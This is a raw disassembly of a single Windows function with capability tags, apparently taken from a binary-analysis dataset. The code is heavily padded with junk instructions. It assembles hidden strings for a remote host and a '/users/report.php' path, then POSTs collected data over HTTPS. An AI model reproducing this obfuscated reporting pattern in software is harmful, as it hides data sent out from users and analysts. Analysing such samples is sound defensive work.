Function at 0x10043392
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
add esp, 4
jmp 0x10042886
dec dword [esp]
jno 0x1004288b
jns 0x10042876
jp 0x1004288f
add esp, 4
popf
jmp 0x10042896
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0x177
xor edx, eax
add eax, edx
sub edx, 0x177
push eax
pop edx
xor edx, 0x465
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x177
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x100428ea
jmp 0x100428ec
je 0x100428e7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10042906
jne 0x10042905
call 0x9308198d
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10042914
jne 0x10042914
call fcn.1004c180
add byte [ebp - 0x96773], cl
invalid
push 0x98
lea ecx, [ebp - 0x968]
call fcn.1000fc10
push 1
lea ecx, [ebp - 0x968]
call fcn.1003e4b0
mov byte [ebp - 4], 7
push 0
push 0xe
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.10005550
add esp, 8
push 0
push 0xc
lea edx, [ebp - 0x20]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0x9f8]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
push 0
push 0xf
lea edx, [ebp - 0x70]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0x9e0]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
push 0
push 0xe
lea edx, [ebp - 0x60]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0x9c8]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
push 0
push 0x14
lea edx, [ebp - 0x9c]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0xa10]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
push 0
push 0xe
lea edx, [ebp - 0x30]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0x9b0]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
push 0
push 0xe
lea edx, [ebp - 0x50]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0x998]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
push 0
push 0x11
lea edx, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x968]
call fcn.10043e10
lea eax, [ebp - 0x894]
push eax
lea ecx, [ebp - 0x968]
push ecx
call fcn.1000e660
add esp, 8
xor eax, eax
test eax, eax
je 0x10042a89
jne 0x10042a88
call 0x93081b10
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov ebx, 0x73f8fb74
add ah, ah
mov ebx, 0x19c35
add byte [ebx], dh
rol byte [ebx], 1
ret 0xea81
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10042a97
jmp 0x10042a99
je 0x10042a94
clc
jae 0x10042a9e
in al, 0xbb
xor eax, 0x19c
xor edx, eax
add eax, edx
sub edx, 0x19c
push eax
pop edx
xor edx, 0x4d4
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x19c
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
pushf
push 0xa
jae 0x10042ae6
jmp 0x10042ae1
call 0x10042ae8
jae 0x10042ae1
add esp, 4
jmp 0x10042aed
dec dword [esp]
jno 0x10042af2
jns 0x10042add
jp 0x10042af6
add esp, 4
popf
jmp 0x10042afd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10042b16
jne 0x10042b16
call 0x1fc45e6a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x10042b2c
mov ecx, 0x6a9c6621
or dh, byte [ebx + 7]
pushf
push 0xa
jae 0x10042b39
jmp 0x10042b34
call 0x10042b3b
jae 0x10042b34
add esp, 4
jmp 0x10042b40
dec dword [esp]
jno 0x10042b45
jns 0x10042b30
jp 0x10042b49
add esp, 4
popf
jmp 0x10042b50
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0x19d
xor edx, eax
add eax, edx
sub edx, 0x19d
push eax
pop edx
xor edx, 0x4d7
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x19d
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x10042ba4
jmp 0x10042ba6
je 0x10042ba1
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10042bc0
jne 0x10042bbf
call 0x93081c47
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10042bce
jne 0x10042bce
call 0x734c15f
invalid
lea edx, [ebp - 0x8d0]
push edx
lea ecx, [ebp - 0x968]
call 0x10043d30
mov byte [ebp - 4], 8
xor eax, eax
test eax, eax
je 0x10042bed
jne 0x10042bec
call 0x93081c74
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov al, 0x74
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10042bfb
jmp 0x10042bfd
je 0x10042bf8
clc
jae 0x10042c02
or eax, 0x1a135b0
add byte [eax], al
xor eax, 0x1a1
xor edx, eax
add eax, edx
sub edx, 0x1a1
push eax
pop edx
xor edx, 0x4e3
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1a1
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
pushf
push 0xa
jae 0x10042c4a
jmp 0x10042c45
call 0x10042c4c
jae 0x10042c45
add esp, 4
jmp 0x10042c51
dec dword [esp]
jno 0x10042c56
jns 0x10042c41
jp 0x10042c5a
add esp, 4
popf
jmp 0x10042c61
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10042c7a
jne 0x10042c7a
call 0x1fc45fce
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x10042c90
fist word [esi]
pushf
push 0xa
jae 0x10042c9d
jmp 0x10042c98
call 0x10042c9f
jae 0x10042c98
add esp, 4
jmp 0x10042ca4
dec dword [esp]
jno 0x10042ca9
jns 0x10042c94
jp 0x10042cad
add esp, 4
popf
jmp 0x10042cb4
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0x1a2
xor edx, eax
add eax, edx
sub edx, 0x1a2
push eax
pop edx
xor edx, 0x4e6
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1a2
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x10042d08
jmp 0x10042d0a
je 0x10042d05
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10042d24
jne 0x10042d23
call 0x93081dab
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10042d32
jne 0x10042d32
call 0x734bac3
invalid
lea ecx, [ebp - 0x8d0]
call fcn.10011250
mov dword [ebp - 0xa38], eax
xor eax, eax
test eax, eax
je 0x10042d4c
jne 0x10042d4b
call 0x93081dd3
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
add byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10042d5a
jmp 0x10042d5c
je 0x10042d57
clc
jae 0x10042d61
add byte cs:[0x1a6], dh
xor eax, 0x1a6
xor edx, eax
add eax, edx
sub edx, 0x1a6
push eax
pop edx
xor edx, 0x4f2
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1a6
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
pushf
push 0xa
jae 0x10042da9
jmp 0x10042da4
call 0x10042dab
jae 0x10042da4
add esp, 4
jmp 0x10042db0
dec dword [esp]
jno 0x10042db5
jns 0x10042da0
jp 0x10042db9
add esp, 4
popf
jmp 0x10042dc0
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10042dd9
jne 0x10042dd9
call 0x1fc4612d
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x10042def
add esp, dword [ebx + 0x66]
pushfd
pushf
push 0xa
jae 0x10042dfc
jmp 0x10042df7
call 0x10042dfe
jae 0x10042df7
add esp, 4
jmp 0x10042e03
dec dword [esp]
jno 0x10042e08
jns 0x10042df3
jp 0x10042e0c
add esp, 4
popf
jmp 0x10042e13
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0x1a7
xor edx, eax
add eax, edx
sub edx, 0x1a7
push eax
pop edx
xor edx, 0x4f5
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1a7
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x10042e67
jmp 0x10042e69
je 0x10042e64
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10042e83
jne 0x10042e82
call 0x93081f0a
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10042e91
jne 0x10042e91
call fcn.10062efd
add byte [edx], ch
push 0x200
push 0
lea eax, [ebp - 0x384]
push eax
call fcn.1004f110
add esp, 0xc
lea ecx, [ebp - 0x384]
push ecx
call fcn.10043810
add esp, 4
mov edx, 0x63
mov word [ebp - 0x184], dx
mov eax, 0x6c
mov word [ebp - 0x182], ax
mov ecx, 0x6f
mov word [ebp - 0x180], cx
mov edx, 0x75
mov word [ebp - 0x17e], dx
mov eax, 0x64
mov word [ebp - 0x17c], ax
mov ecx, 0x73
mov word [ebp - 0x17a], cx
mov edx, 0x68
mov word [ebp - 0x178], dx
mov eax, 0x69
mov word [ebp - 0x176], ax
mov ecx, 0x65
mov word [ebp - 0x174], cx
mov edx, 0x6c
mov word [ebp - 0x172], dx
mov eax, 0x64
mov word [ebp - 0x170], ax
mov ecx, 0x2e
mov word [ebp - 0x16e], cx
mov edx, 0x6d
mov word [ebp - 0x16c], dx
mov eax, 0x65
mov word [ebp - 0x16a], ax
mov ecx, 0x74
mov word [ebp - 0x168], cx
mov edx, 0x69
mov word [ebp - 0x166], dx
mov eax, 0x6e
mov word [ebp - 0x164], ax
mov ecx, 0x32
mov word [ebp - 0x162], cx
mov edx, 0x2e
mov word [ebp - 0x160], dx
mov eax, 0x63
mov word [ebp - 0x15e], ax
mov ecx, 0x6c
mov word [ebp - 0x15c], cx
mov edx, 0x6f
mov word [ebp - 0x15a], dx
mov eax, 0x75
mov word [ebp - 0x158], ax
mov ecx, 0x64
mov word [ebp - 0x156], cx
xor edx, edx
mov word [ebp - 0x154], dx
mov eax, 0x50
mov word [ebp - 0xcc], ax
mov ecx, 0x4f
mov word [ebp - 0xca], cx
mov edx, 0x53
mov word [ebp - 0xc8], dx
mov eax, 0x54
mov word [ebp - 0xc6], ax
xor ecx, ecx
mov word [ebp - 0xc4], cx
mov edx, 0x2f
mov word [ebp - 0xf0], dx
mov eax, 0x75
mov word [ebp - 0xee], ax
mov ecx, 0x73
mov word [ebp - 0xec], cx
mov edx, 0x65
mov word [ebp - 0xea], dx
mov eax, 0x72
mov word [ebp - 0xe8], ax
mov ecx, 0x73
mov word [ebp - 0xe6], cx
mov edx, 0x2f
mov word [ebp - 0xe4], dx
mov eax, 0x72
mov word [ebp - 0xe2], ax
mov ecx, 0x65
mov word [ebp - 0xe0], cx
mov edx, 0x70
mov word [ebp - 0xde], dx
mov eax, 0x6f
mov word [ebp - 0xdc], ax
mov ecx, 0x72
mov word [ebp - 0xda], cx
mov edx, 0x74
mov word [ebp - 0xd8], dx
mov eax, 0x2e
mov word [ebp - 0xd6], ax
mov ecx, 0x70
mov word [ebp - 0xd4], cx
mov edx, 0x68
mov word [ebp - 0xd2], dx
mov eax, 0x70
mov word [ebp - 0xd0], ax
xor ecx, ecx
mov word [ebp - 0xce], cx
mov edx, 0x43
mov word [ebp - 0x150], dx
mov eax, 0x6f
mov word [ebp - 0x14e], ax
mov ecx, 0x6e
mov word [ebp - 0x14c], cx
mov edx, 0x74
mov word [ebp - 0x14a], dx
mov eax, 0x65
mov word [ebp - 0x148], ax
mov ecx, 0x6e
mov word [ebp - 0x146], cx
mov edx, 0x74
mov word [ebp - 0x144], dx
mov eax, 0x2d
mov word [ebp - 0x142], ax
mov ecx, 0x54
mov word [ebp - 0x140], cx
mov edx, 0x79
mov word [ebp - 0x13e], dx
mov eax, 0x70
mov word [ebp - 0x13c], ax
mov ecx, 0x65
mov word [ebp - 0x13a], cx
mov edx, 0x3a
mov word [ebp - 0x138], dx
mov eax, 0x20
mov word [ebp - 0x136], ax
mov ecx, 0x61
mov word [ebp - 0x134], cx
mov edx, 0x70
mov word [ebp - 0x132], dx
mov eax, 0x70
mov word [ebp - 0x130], ax
mov ecx, 0x6c
mov word [ebp - 0x12e], cx
mov edx, 0x69
mov word [ebp - 0x12c], dx
mov eax, 0x63
mov word [ebp - 0x12a], ax
mov ecx, 0x61
mov word [ebp - 0x128], cx
mov edx, 0x74
mov word [ebp - 0x126], dx
mov eax, 0x69
mov word [ebp - 0x124], ax
mov ecx, 0x6f
mov word [ebp - 0x122], cx
mov edx, 0x6e
mov word [ebp - 0x120], dx
mov eax, 0x2f
mov word [ebp - 0x11e], ax
mov ecx, 0x78
mov word [ebp - 0x11c], cx
mov edx, 0x2d
mov word [ebp - 0x11a], dx
mov eax, 0x77
mov word [ebp - 0x118], ax
mov ecx, 0x77
mov word [ebp - 0x116], cx
mov edx, 0x77
mov word [ebp - 0x114], dx
mov eax, 0x2d
mov word [ebp - 0x112], ax
mov ecx, 0x66
mov word [ebp - 0x110], cx
mov edx, 0x6f
mov word [ebp - 0x10e], dx
mov eax, 0x72
mov word [ebp - 0x10c], ax
mov ecx, 0x6d
mov word [ebp - 0x10a], cx
mov edx, 0x2d
mov word [ebp - 0x108], dx
mov eax, 0x75
mov word [ebp - 0x106], ax
mov ecx, 0x72
mov word [ebp - 0x104], cx
mov edx, 0x6c
mov word [ebp - 0x102], dx
mov eax, 0x65
mov word [ebp - 0x100], ax
mov ecx, 0x6e
mov word [ebp - 0xfe], cx
mov edx, 0x63
mov word [ebp - 0xfc], dx
mov eax, 0x6f
mov word [ebp - 0xfa], ax
mov ecx, 0x64
mov word [ebp - 0xf8], cx
mov edx, 0x65
mov word [ebp - 0xf6], dx
mov eax, 0x64
mov word [ebp - 0xf4], ax
xor ecx, ecx
mov word [ebp - 0xf2], cx
xor eax, eax
test eax, eax
je 0x10043333
jne 0x10043332
call 0x930823ba
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
movsd dword es:[edi], dword [esi]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10043341
jmp 0x10043343
je 0x1004333e
clc
jae 0x10043348
dec edx
movsd dword es:[edi], dword [esi]
xor eax, 0x1b1
xor edx, eax
add eax, edx
sub edx, 0x1b1
push eax
pop edx
xor edx, 0x513
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1b1
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
pushf
push 0xa
jae 0x10043390
jmp 0x1004338b
call 0x10043392
jae 0x1004338b
add esp, 4
jmp 0x10043397
dec dword [esp]
jno 0x1004339c
jns 0x10043387
jp 0x100433a0
add esp, 4
popf
jmp 0x100433a7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100433c0
jne 0x100433c0
call 0x1fc46714
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x100433d6
pop ds
or esp, dword [esi - 0x64]
pushf
push 0xa
jae 0x100433e3
jmp 0x100433de
call 0x100433e5
jae 0x100433de
add esp, 4
jmp 0x100433ea
dec dword [esp]
jno 0x100433ef
jns 0x100433da
jp 0x100433f3
add esp, 4
popf
jmp 0x100433fa
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0x1b2
xor edx, eax
add eax, edx
sub edx, 0x1b2
push eax
pop edx
xor edx, 0x516
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1b2
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x1004344e
jmp 0x10043450
je 0x1004344b
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1004346a
jne 0x10043469
call 0x930824f1
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10043478
jne 0x10043478
call 0x106e34e6
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x384]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0xa2c], eax
cmp dword [ebp - 0xa2c], 0
je 0x10043764
push 0
push 0x1bb
lea eax, [ebp - 0x184]
push eax
mov ecx, dword [ebp - 0xa2c]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 0
je 0x10043757
push 0x800000
push 0
push 0
push 0
lea edx, [ebp - 0xf0]
push edx
lea eax, [ebp - 0xcc]
push eax
mov ecx, dword [ebp - 0xa28]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xa18], eax
cmp dword [ebp - 0xa18], 0
je 0x1004374a
mov dword [ebp - 0x870], 0x800
push 4
lea edx, [ebp - 0x870]
push edx
push 0x54
mov eax, dword [ebp - 0xa18]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov dword [ebp - 0x874], 0xea60
push 4
lea ecx, [ebp - 0x874]
push ecx
push 6
mov edx, dword [ebp - 0xa18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
lea eax, [ebp - 0x150]
mov dword [ebp - 0xa20], eax
mov ecx, dword [ebp - 0xa20]
add ecx, 2
mov dword [ebp - 0xa48], ecx
mov edx, dword [ebp - 0xa20]
mov ax, word [edx]
mov word [ebp - 0xa22], ax
add dword [ebp - 0xa20], 2
cmp word [ebp - 0xa22], 0
jne 0x10043566
mov ecx, dword [ebp - 0xa20]
sub ecx, dword [ebp - 0xa48]
sar ecx, 1
mov dword [ebp - 0xa44], ecx
push 0
mov edx, dword [ebp - 0xa38]
push edx
mov eax, dword [ebp - 0xa38]
push eax
lea ecx, [ebp - 0x8d0]
call fcn.1000b940
push eax
mov ecx, dword [ebp - 0xa44]
push ecx
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0xa18]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0xa30], eax
cmp dword [ebp - 0xa30], 0
je 0x1004373d
push 0
mov ecx, dword [ebp - 0xa18]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0xa30], eax
cmp dword [ebp - 0xa30], 0
je 0x1004373d
mov dword [ebp - 0xa14], 0
mov dword [ebp - 0x86c], 0
lea ecx, [ebp - 0x980]
call fcn.1003e630
mov byte [ebp - 4], 9
mov dword [ebp - 0xa14], 0
lea edx, [ebp - 0xa14]
push edx
mov eax, dword [ebp - 0xa18]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x10043721
mov edx, dword [ebp - 0xa18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0xa28]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 0xa2c]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x8d0]
call fcn.100037b0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x968]
call fcn.10029ce0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x894]
call fcn.100037b0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x998]
call fcn.100037b0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x9b0]
call fcn.100037b0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa10]
call fcn.100037b0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x9c8]
call fcn.100037b0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x9e0]
call fcn.100037b0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9f8]
call fcn.100037b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004ce42
mov esp, ebp
pop ebp
ret